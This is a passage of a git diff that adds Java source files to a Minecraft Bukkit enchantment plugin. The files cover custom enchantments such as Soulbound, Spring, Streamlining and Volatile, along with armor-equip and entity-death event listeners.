org.bukkit.event.player.PlayerRespawnEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; + +import java.util.*; + +@SuppressWarnings("deprecation") +public class Soulbound extends EcoEnchant { + public Soulbound() { + super( + new EcoEnchantBuilder("soulbound", EnchantmentType.SPECIAL, Target.Applicable.ALL, 4.0) + ); + } + + // START OF LISTENERS + + HashMap> soulboundItemsMap = new HashMap<>(); + + @EventHandler(priority = EventPriority.HIGH) + public void onSoulboundDeath(PlayerDeathEvent event) { + if(event.getKeepInventory()) return; + + if(AntiGrief.hasKeepInv(event.getEntity())) return; + + Player player = event.getEntity(); + List soulboundItems = new ArrayList<>(); // Stored as list to preserve duplicates + + Arrays.stream(player.getInventory().getContents()).filter(Objects::nonNull).forEach((itemStack -> { + if(itemStack.containsEnchantment(this)) soulboundItems.add(itemStack); + + if(itemStack.getItemMeta() instanceof EnchantmentStorageMeta) { + if(((EnchantmentStorageMeta) itemStack.getItemMeta()).getStoredEnchants().containsKey(this)) soulboundItems.add(itemStack); + } + })); + + event.getDrops().removeAll(soulboundItems); + + soulboundItemsMap.put(player, soulboundItems); + } + + @EventHandler(priority = EventPriority.HIGH) + public void onSoulboundRespawn(PlayerRespawnEvent event) { + if(!soulboundItemsMap.containsKey(event.getPlayer())) return; + + List soulboundItems = soulboundItemsMap.get(event.getPlayer()); + + soulboundItems.forEach((itemStack -> { + if(Arrays.asList(event.getPlayer().getInventory().getContents()).contains(itemStack)) return; + + event.getPlayer().getInventory().addItem(itemStack); + })); + soulboundItemsMap.remove(event.getPlayer()); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Spring.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Spring.java new file mode 100644 index 00000000..619c7687 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Spring.java @@ -0,0 +1,68 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.google.common.collect.Sets; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.potion.PotionEffectType; + +import java.text.DecimalFormat; +import java.util.Set; +import java.util.UUID; + +@SuppressWarnings("deprecation") +public class Spring extends EcoEnchant { + public Spring() { + super( + new EcoEnchantBuilder("spring", EnchantmentType.SPECIAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onPlayerDamage(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + Player player = (Player) event.getEntity(); + if (!HasEnchant.playerBoots(player, this)) return; + + if (event.getCause() == EntityDamageEvent.DamageCause.FALL) { + event.setCancelled(true); + } + } + + private final Set prevPlayersOnGround = Sets.newHashSet(); + private static final DecimalFormat df = new DecimalFormat("0.00"); + + @EventHandler + public void onMove(PlayerMoveEvent e) { + Player player = e.getPlayer(); + if (player.getVelocity().getY() > 0) { + float jumpVelocity = 0.42f; + if (player.hasPotionEffect(PotionEffectType.JUMP)) { + jumpVelocity += ((float) player.getPotionEffect(PotionEffectType.JUMP).getAmplifier() + 1) * 0.1F; + } + jumpVelocity = Float.parseFloat(df.format(jumpVelocity).replace(',', '.')); + if (e.getPlayer().getLocation().getBlock().getType() != Material.LADDER && prevPlayersOnGround.contains(player.getUniqueId())) { + if (!player.isOnGround() && Float.compare((float) player.getVelocity().getY(), jumpVelocity) == 0) { + if (!HasEnchant.playerBoots(player, this)) return; + + double multiplier = 0.5 + (double) ((HasEnchant.getPlayerBootsLevel(player, this) * HasEnchant.getPlayerBootsLevel(player, this)) / 4 - 0.2) / 3; + player.setVelocity(player.getLocation().getDirection().multiply(multiplier).setY(multiplier)); + } + } + } + if (player.isOnGround()) { + prevPlayersOnGround.add(player.getUniqueId()); + } else { + prevPlayersOnGround.remove(player.getUniqueId()); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Streamlining.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Streamlining.java new file mode 100644 index 00000000..9e341da7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Streamlining.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.events.armorequip.ArmorEquipEvent; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.scheduler.BukkitRunnable; + +@SuppressWarnings("deprecation") +public class Streamlining extends EcoEnchant { + public Streamlining() { + super( + new EcoEnchantBuilder("streamlining", EnchantmentType.SPECIAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onEquip(ArmorEquipEvent event) { + final Player player = event.getPlayer(); + + new BukkitRunnable() { + public void run() { + if (!HasEnchant.playerBoots(player, EcoEnchants.STREAMLINING)) { + player.setWalkSpeed(0.2f); + return; + } + + int level = HasEnchant.getPlayerBootsLevel(player, EcoEnchants.STREAMLINING); + double speed; + player.setWalkSpeed((float) (0.2 + (level * EcoEnchants.STREAMLINING.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "speed-per-level")))); + + } + }.runTaskLater(Main.getInstance(), 1); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Volatile.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Volatile.java new file mode 100644 index 00000000..d10a4fbc --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Volatile.java @@ -0,0 +1,68 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.special; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Location; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Volatile extends EcoEnchant { + public Volatile() { + super( + new EcoEnchantBuilder("volatile", EnchantmentType.SPECIAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + boolean fire = this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "fire"); + boolean breakblocks = this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "break-blocks"); + + float power = (float) (0.5 + (level * 0.5)); + + if (!AntiGrief.canCreateExplosion(player, event.getEntity().getLocation())) return; + if (breakblocks) { + if (!AntiGrief.canBreakBlock(player, event.getEntity().getLocation().getWorld().getBlockAt(event.getEntity().getLocation()))) + return; + } + + double distance = player.getLocation().distance(victim.getLocation()); + Location explosionLoc = victim.getEyeLocation(); + + victim.getWorld().createExplosion(explosionLoc, power, fire, breakblocks); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorEquipEvent.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorEquipEvent.java new file mode 100644 index 00000000..79a01879 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorEquipEvent.java @@ -0,0 +1,122 @@ +package com.willfp.ecoenchants.events.armorequip; + + +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.HandlerList; +import org.bukkit.event.player.PlayerEvent; +import org.bukkit.inventory.ItemStack; + +/** + * @author Arnah + * @since Jul 30, 2015 + */ +public final class ArmorEquipEvent extends PlayerEvent implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + private boolean cancel = false; + private final EquipMethod equipType; + private final ArmorType type; + private ItemStack oldArmorPiece, newArmorPiece; + + public ArmorEquipEvent(final Player player, final EquipMethod equipType, final ArmorType type, final ItemStack oldArmorPiece, final ItemStack newArmorPiece) { + super(player); + this.equipType = equipType; + this.type = type; + this.oldArmorPiece = oldArmorPiece; + this.newArmorPiece = newArmorPiece; + } + + /** + * Gets a list of handlers handling this event. + * + * @return A list of handlers handling this event. + */ + + @Override + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + /** + * Sets if this event should be cancelled. + * + * @param cancel If this event should be cancelled. + */ + public final void setCancelled(final boolean cancel) { + this.cancel = cancel; + } + + /** + * Gets if this event is cancelled. + * + * @return If this event is cancelled + */ + public final boolean isCancelled() { + return cancel; + } + + public final ArmorType getType() { + return type; + } + public final ItemStack getOldArmorPiece() { + return oldArmorPiece; + } + + public final void setOldArmorPiece(final ItemStack oldArmorPiece) { + this.oldArmorPiece = oldArmorPiece; + } + + public final ItemStack getNewArmorPiece() { + return newArmorPiece; + } + + public final void setNewArmorPiece(final ItemStack newArmorPiece) { + this.newArmorPiece = newArmorPiece; + } + + public EquipMethod getMethod() { + return equipType; + } + + public enum EquipMethod {// These have got to be the worst documentations ever. + /** + * When you shift click an armor piece to equip or unequip + */ + SHIFT_CLICK, + /** + * When you drag and drop the item to equip or unequip + */ + DRAG, + /** + * When you manually equip or unequip the item. Use to be DRAG + */ + PICK_DROP, + /** + * When you right click an armor piece in the hotbar without the inventory open to equip. + */ + HOTBAR, + /** + * When you press the hotbar slot number while hovering over the armor slot to equip or unequip + */ + HOTBAR_SWAP, + /** + * When in range of a dispenser that shoots an armor piece to equip.
+ * Requires the spigot version to have {@link org.bukkit.event.block.BlockDispenseArmorEvent} implemented. + */ + DISPENSER, + /** + * When an armor piece is removed due to it losing all durability. + */ + BROKE, + /** + * When you die causing all armor to unequip + */ + DEATH, + ; + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorListener.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorListener.java new file mode 100644 index 00000000..e82fb8d4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorListener.java @@ -0,0 +1,204 @@ +package com.willfp.ecoenchants.events.armorequip; + +import com.willfp.ecoenchants.events.armorequip.ArmorEquipEvent.EquipMethod; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.Event.Result; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.entity.PlayerDeathEvent; +import org.bukkit.event.inventory.*; +import org.bukkit.event.inventory.InventoryType.SlotType; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.player.PlayerItemBreakEvent; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.inventory.ItemStack; + +/** + * @author Arnah + * @since Jul 30, 2015 + */ +public class ArmorListener implements Listener { + + public ArmorListener() { + } + //Event Priority is highest because other plugins might cancel the events before we check. + + @EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true) + public final void inventoryClick(final InventoryClickEvent e) { + boolean shift = false, numberkey = false; + if (e.isCancelled()) return; + if (e.getAction() == InventoryAction.NOTHING) return;// Why does this get called if nothing happens?? + if (e.getClick().equals(ClickType.SHIFT_LEFT) || e.getClick().equals(ClickType.SHIFT_RIGHT)) { + shift = true; + } + if (e.getClick().equals(ClickType.NUMBER_KEY)) { + numberkey = true; + } + if (e.getSlotType() != SlotType.ARMOR && e.getSlotType() != SlotType.QUICKBAR && e.getSlotType() != SlotType.CONTAINER) + return; + if (e.getClickedInventory() != null && !e.getClickedInventory().getType().equals(InventoryType.PLAYER)) return; + if (!e.getInventory().getType().equals(InventoryType.CRAFTING) && !e.getInventory().getType().equals(InventoryType.PLAYER)) + return; + if (!(e.getWhoClicked() instanceof Player)) return; + ArmorType newArmorType = ArmorType.matchType(shift ? e.getCurrentItem() : e.getCursor()); + if (!shift && newArmorType != null && e.getRawSlot() != newArmorType.getSlot()) { + // Used for drag and drop checking to make sure you aren't trying to place a helmet in the boots slot. + return; + } + if (shift) { + newArmorType = ArmorType.matchType(e.getCurrentItem()); + if (newArmorType != null) { + boolean equipping = true; + if (e.getRawSlot() == newArmorType.getSlot()) { + equipping = false; + } + if (newArmorType.equals(ArmorType.HELMET) && (equipping == isAirOrNull(e.getWhoClicked().getInventory().getHelmet())) || newArmorType.equals(ArmorType.CHESTPLATE) && (equipping == isAirOrNull(e.getWhoClicked().getInventory().getChestplate())) || newArmorType.equals(ArmorType.LEGGINGS) && (equipping == isAirOrNull(e.getWhoClicked().getInventory().getLeggings())) || newArmorType.equals(ArmorType.BOOTS) && (equipping == isAirOrNull(e.getWhoClicked().getInventory().getBoots()))) { + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent((Player) e.getWhoClicked(), EquipMethod.SHIFT_CLICK, newArmorType, equipping ? null : e.getCurrentItem(), equipping ? e.getCurrentItem() : null); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + e.setCancelled(true); + } + } + } + } else { + ItemStack newArmorPiece = e.getCursor(); + ItemStack oldArmorPiece = e.getCurrentItem(); + if (numberkey) { + if (e.getClickedInventory().getType().equals(InventoryType.PLAYER)) {// Prevents shit in the 2by2 crafting + // e.getClickedInventory() == The players inventory + // e.getHotBarButton() == key people are pressing to equip or unequip the item to or from. + // e.getRawSlot() == The slot the item is going to. + // e.getSlot() == Armor slot, can't use e.getRawSlot() as that gives a hotbar slot ;-; + ItemStack hotbarItem = e.getClickedInventory().getItem(e.getHotbarButton()); + if (!isAirOrNull(hotbarItem)) {// Equipping + newArmorType = ArmorType.matchType(hotbarItem); + newArmorPiece = hotbarItem; + oldArmorPiece = e.getClickedInventory().getItem(e.getSlot()); + } else {// Unequipping + newArmorType = ArmorType.matchType(!isAirOrNull(e.getCurrentItem()) ? e.getCurrentItem() : e.getCursor()); + } + } + } else { + if (isAirOrNull(e.getCursor()) && !isAirOrNull(e.getCurrentItem())) {// unequip with no new item going into the slot. + newArmorType = ArmorType.matchType(e.getCurrentItem()); + } + // e.getCurrentItem() == Unequip + // e.getCursor() == Equip + // newArmorType = ArmorType.matchType(!isAirOrNull(e.getCurrentItem()) ? e.getCurrentItem() : e.getCursor()); + } + if (newArmorType != null && e.getRawSlot() == newArmorType.getSlot()) { + EquipMethod method = EquipMethod.PICK_DROP; + if (e.getAction().equals(InventoryAction.HOTBAR_SWAP) || numberkey) method = EquipMethod.HOTBAR_SWAP; + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent((Player) e.getWhoClicked(), method, newArmorType, oldArmorPiece, newArmorPiece); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + e.setCancelled(true); + } + } + } + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void playerInteractEvent(PlayerInteractEvent e) { + if (e.useItemInHand().equals(Result.DENY)) return; + // + if (e.getAction() == Action.PHYSICAL) return; + if (e.getAction() == Action.RIGHT_CLICK_AIR || e.getAction() == Action.RIGHT_CLICK_BLOCK) { + Player player = e.getPlayer(); + if (!e.useInteractedBlock().equals(Result.DENY)) { + if (e.getClickedBlock() != null && e.getAction() == Action.RIGHT_CLICK_BLOCK && !player.isSneaking()) {// Having both of these checks is useless, might as well do it though. + // Some blocks have actions when you right click them which stops the client from equipping the armor in hand. + Material mat = e.getClickedBlock().getType(); + } + } + ArmorType newArmorType = ArmorType.matchType(e.getItem()); + if (newArmorType != null) { + if (newArmorType.equals(ArmorType.HELMET) && isAirOrNull(e.getPlayer().getInventory().getHelmet()) || newArmorType.equals(ArmorType.CHESTPLATE) && isAirOrNull(e.getPlayer().getInventory().getChestplate()) || newArmorType.equals(ArmorType.LEGGINGS) && isAirOrNull(e.getPlayer().getInventory().getLeggings()) || newArmorType.equals(ArmorType.BOOTS) && isAirOrNull(e.getPlayer().getInventory().getBoots())) { + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent(e.getPlayer(), EquipMethod.HOTBAR, ArmorType.matchType(e.getItem()), null, e.getItem()); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + e.setCancelled(true); + player.updateInventory(); + } + } + } + } + } + + @EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true) + public void inventoryDrag(InventoryDragEvent event) { + // getType() seems to always be even. + // Old Cursor gives the item you are equipping + // Raw slot is the ArmorType slot + // Can't replace armor using this method making getCursor() useless. + ArmorType type = ArmorType.matchType(event.getOldCursor()); + if (event.getRawSlots().isEmpty()) return;// Idk if this will ever happen + if (type != null && type.getSlot() == event.getRawSlots().stream().findFirst().orElse(0)) { + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent((Player) event.getWhoClicked(), EquipMethod.DRAG, type, null, event.getOldCursor()); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + event.setResult(Result.DENY); + event.setCancelled(true); + } + } + // Debug shit + /*System.out.println("Slots: " + event.getInventorySlots().toString()); + System.out.println("Raw Slots: " + event.getRawSlots().toString()); + if(event.getCursor() != null){ + System.out.println("Cursor: " + event.getCursor().getType().name()); + } + if(event.getOldCursor() != null){ + System.out.println("OldCursor: " + event.getOldCursor().getType().name()); + } + System.out.println("Type: " + event.getType().name());*/ + } + + @EventHandler + public void playerJoinEvent(PlayerJoinEvent e) { + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent(e.getPlayer(), null, null, null, null); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + } + + @EventHandler + public void itemBreakEvent(PlayerItemBreakEvent e) { + ArmorType type = ArmorType.matchType(e.getBrokenItem()); + if (type != null) { + Player p = e.getPlayer(); + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent(p, EquipMethod.BROKE, type, e.getBrokenItem(), null); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + ItemStack i = e.getBrokenItem().clone(); + i.setAmount(1); + i.setDurability((short) (i.getDurability() - 1)); + if (type.equals(ArmorType.HELMET)) { + p.getInventory().setHelmet(i); + } else if (type.equals(ArmorType.CHESTPLATE)) { + p.getInventory().setChestplate(i); + } else if (type.equals(ArmorType.LEGGINGS)) { + p.getInventory().setLeggings(i); + } else if (type.equals(ArmorType.BOOTS)) { + p.getInventory().setBoots(i); + } + } + } + } + + @EventHandler + public void playerDeathEvent(PlayerDeathEvent e) { + Player p = e.getEntity(); + if (e.getKeepInventory()) return; + for (ItemStack i : p.getInventory().getArmorContents()) { + if (!isAirOrNull(i)) { + Bukkit.getPluginManager().callEvent(new ArmorEquipEvent(p, EquipMethod.DEATH, ArmorType.matchType(i), i, null)); + // No way to cancel a death event. + } + } + } + public static boolean isAirOrNull(ItemStack item) { + return item == null || item.getType().equals(Material.AIR); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorType.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorType.java new file mode 100644 index 00000000..7ca54e70 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorType.java @@ -0,0 +1,38 @@ +package com.willfp.ecoenchants.events.armorequip; + +import org.bukkit.inventory.ItemStack; + +/** + * @author Arnah + * @since Jul 30, 2015 + */ +public enum ArmorType { + HELMET(5), CHESTPLATE(6), LEGGINGS(7), BOOTS(8); + + private final int slot; + + ArmorType(int slot) { + this.slot = slot; + } + + /** + * Attempts to match the ArmorType for the specified ItemStack. + * + * @param itemStack The ItemStack to parse the type of. + * + * @return The parsed ArmorType, or null if not found. + */ + public static ArmorType matchType(final ItemStack itemStack) { + if (ArmorListener.isAirOrNull(itemStack)) return null; + String type = itemStack.getType().name(); + if (type.endsWith("_HELMET") || type.endsWith("_SKULL") || type.endsWith("PLAYER_HEAD")) return HELMET; + else if (type.endsWith("_CHESTPLATE") || type.endsWith("ELYTRA")) return CHESTPLATE; + else if (type.endsWith("_LEGGINGS")) return LEGGINGS; + else if (type.endsWith("_BOOTS")) return BOOTS; + else return null; + } + + public int getSlot() { + return slot; + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/DispenserArmorListener.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/DispenserArmorListener.java new file mode 100644 index 00000000..5ce0d2cd --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/DispenserArmorListener.java @@ -0,0 +1,28 @@ +package com.willfp.ecoenchants.events.armorequip; + +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.BlockDispenseArmorEvent; + +/** + * @author Arnah + * @since Feb 08, 2019 + */ +public class DispenserArmorListener implements Listener { + @EventHandler + public void dispenseArmorEvent(BlockDispenseArmorEvent event) { + ArmorType type = ArmorType.matchType(event.getItem()); + if (type != null) { + if (event.getTargetEntity() instanceof Player) { + Player p = (Player) event.getTargetEntity(); + ArmorEquipEvent armorEquipEvent = new ArmorEquipEvent(p, ArmorEquipEvent.EquipMethod.DISPENSER, type, null, event.getItem()); + Bukkit.getPluginManager().callEvent(armorEquipEvent); + if (armorEquipEvent.isCancelled()) { + event.setCancelled(true); + } + } + } + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityBuilder.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityBuilder.java new file mode 100644 index 00000000..ca8f1840 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityBuilder.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.events.entitydeathbyentity; + +import org.bukkit.Bukkit; +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.List; + +class EntityDeathByEntityBuilder { + private LivingEntity victim = null; + private Entity damager; + private EntityDeathEvent deathEvent; + + private List drops; + private int xp = 0; + private boolean dropItems; + + public EntityDeathByEntityBuilder() { + + } + + public LivingEntity getVictim() { + return this.victim; + } + + public void setDeathEvent(EntityDeathEvent deathEvent) { + this.deathEvent = deathEvent; + } + + public void setVictim(LivingEntity victim) { + this.victim = victim; + } + + public void setDamager(Entity damager) { + this.damager = damager; + } + + public void setDrops(List drops) { + this.drops = drops; + } + + public void setXp(int xp) { + this.xp = xp; + } + + public void push() { + if(this.victim == null) return; + if(this.damager == null) return; + if(this.drops == null) return; + if(this.deathEvent == null) return; + + EntityDeathByEntityEvent event = new EntityDeathByEntityEvent(victim, damager, drops, xp, deathEvent); + + Bukkit.getPluginManager().callEvent(event); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityEvent.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityEvent.java new file mode 100644 index 00000000..692f8427 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityEvent.java @@ -0,0 +1,109 @@ +package com.willfp.ecoenchants.events.entitydeathbyentity; + +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.inventory.ItemStack; +import org.jetbrains.annotations.NotNull; + +import java.util.List; + +/** + * Event triggered when entity is killed by entity. + */ +public class EntityDeathByEntityEvent extends Event { + private static final HandlerList HANDLERS = new HandlerList(); + + /** + * The {@link LivingEntity} killed + */ + private final LivingEntity victim; + + /** + * The {@link Entity} that killed; + */ + private final Entity damager; + + /** + * The associated {@link EntityDeathEvent} + */ + private final EntityDeathEvent deathEvent; + + /** + * The entity drops + */ + private List drops; + + /** + * The xp to drop + */ + private int xp; + + /** + * Create event based off parameters + * @param victim The killed entity + * @param damager The killer + * @param drops The item drops + * @param xp The amount of xp to drop + * @param deathEvent The associated {@link EntityDeathEvent} + */ + public EntityDeathByEntityEvent(@NotNull LivingEntity victim, @NotNull Entity damager, @NotNull List drops, @NotNull int xp, @NotNull EntityDeathEvent deathEvent) { + this.victim = victim; + this.damager = damager; + this.drops = drops; + this.xp = xp; + this.deathEvent = deathEvent; + } + + /** + * Get victim + * @return The victim + */ + public LivingEntity getVictim() { + return this.victim; + } + + /** + * Get killer + * @return The killer + */ + public Entity getKiller() { + return this.damager; + } + + /** + * Get xp amount + * @return The xp + */ + public int getDroppedExp() { + return this.xp; + } + + /** + * Get drops + * @return {@link List} of drops + */ + public List getDrops() { + return this.drops; + } + + /** + * Get associated {@link EntityDeathEvent} + * Use this to modify event parameters. + * @return The associated {@link EntityDeathEvent} + */ + public EntityDeathEvent getDeathEvent() { + return this.deathEvent; + } + + @Override + public HandlerList getHandlers() { + return HANDLERS; + } + + public static HandlerList getHandlerList() { + return HANDLERS; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityListeners.java new file mode 100644 index 00000000..976cbe63 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityListeners.java @@ -0,0 +1,70 @@ +package com.willfp.ecoenchants.events.entitydeathbyentity; + +import com.willfp.ecoenchants.Main; +import org.bukkit.entity.LivingEntity; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.atomic.AtomicReference; + +public class EntityDeathByEntityListeners implements Listener { + + Set events = new HashSet<>(); + + @EventHandler(priority = EventPriority.HIGH) + public void onEntityDamage(EntityDamageByEntityEvent event) { + if(!(event.getEntity() instanceof LivingEntity)) return; + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.getHealth() > event.getFinalDamage()) return; + + EntityDeathByEntityBuilder builtEvent = new EntityDeathByEntityBuilder(); + builtEvent.setVictim(victim); + builtEvent.setDamager(event.getDamager()); + events.add(builtEvent); + + new BukkitRunnable() { + @Override + public void run() { + if(events.contains(builtEvent)) + events.remove(builtEvent); + } + }.runTaskLater(Main.getInstance(), 1); + } + + @EventHandler + public void onEntityDeath(EntityDeathEvent event) { + LivingEntity victim = event.getEntity(); + + List drops = event.getDrops(); + int xp = event.getDroppedExp(); + + AtomicReference atomicBuiltEvent = new AtomicReference<>(null); + EntityDeathByEntityBuilder builtEvent; + + events.forEach((deathByEntityEvent) -> { + if(deathByEntityEvent.getVictim().equals(victim)) { + atomicBuiltEvent.set(deathByEntityEvent); + } + }); + + if(atomicBuiltEvent.get() == null) return; + + builtEvent = atomicBuiltEvent.get(); + events.remove(builtEvent); + builtEvent.setDrops(drops); + builtEvent.setXp(xp); + builtEvent.setDeathEvent(event); + + builtEvent.push(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainBuilder.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainBuilder.java new file mode 100644 index 00000000..e7826fb1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainBuilder.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.events.naturalexpgainevent; + +import org.bukkit.Bukkit; +import org.bukkit.Location; +import org.bukkit.entity.LivingEntity; +import org.bukkit.event.player.PlayerExpChangeEvent; + +class NaturalExpGainBuilder { + private LivingEntity victim = null; + private boolean cancelled = false; + private PlayerExpChangeEvent event; + private Location loc; + + public NaturalExpGainBuilder() { + + } + + public LivingEntity getVictim() { + return this.victim; + } + + public void setEvent(PlayerExpChangeEvent event) { + this.event = event; + } + + public void 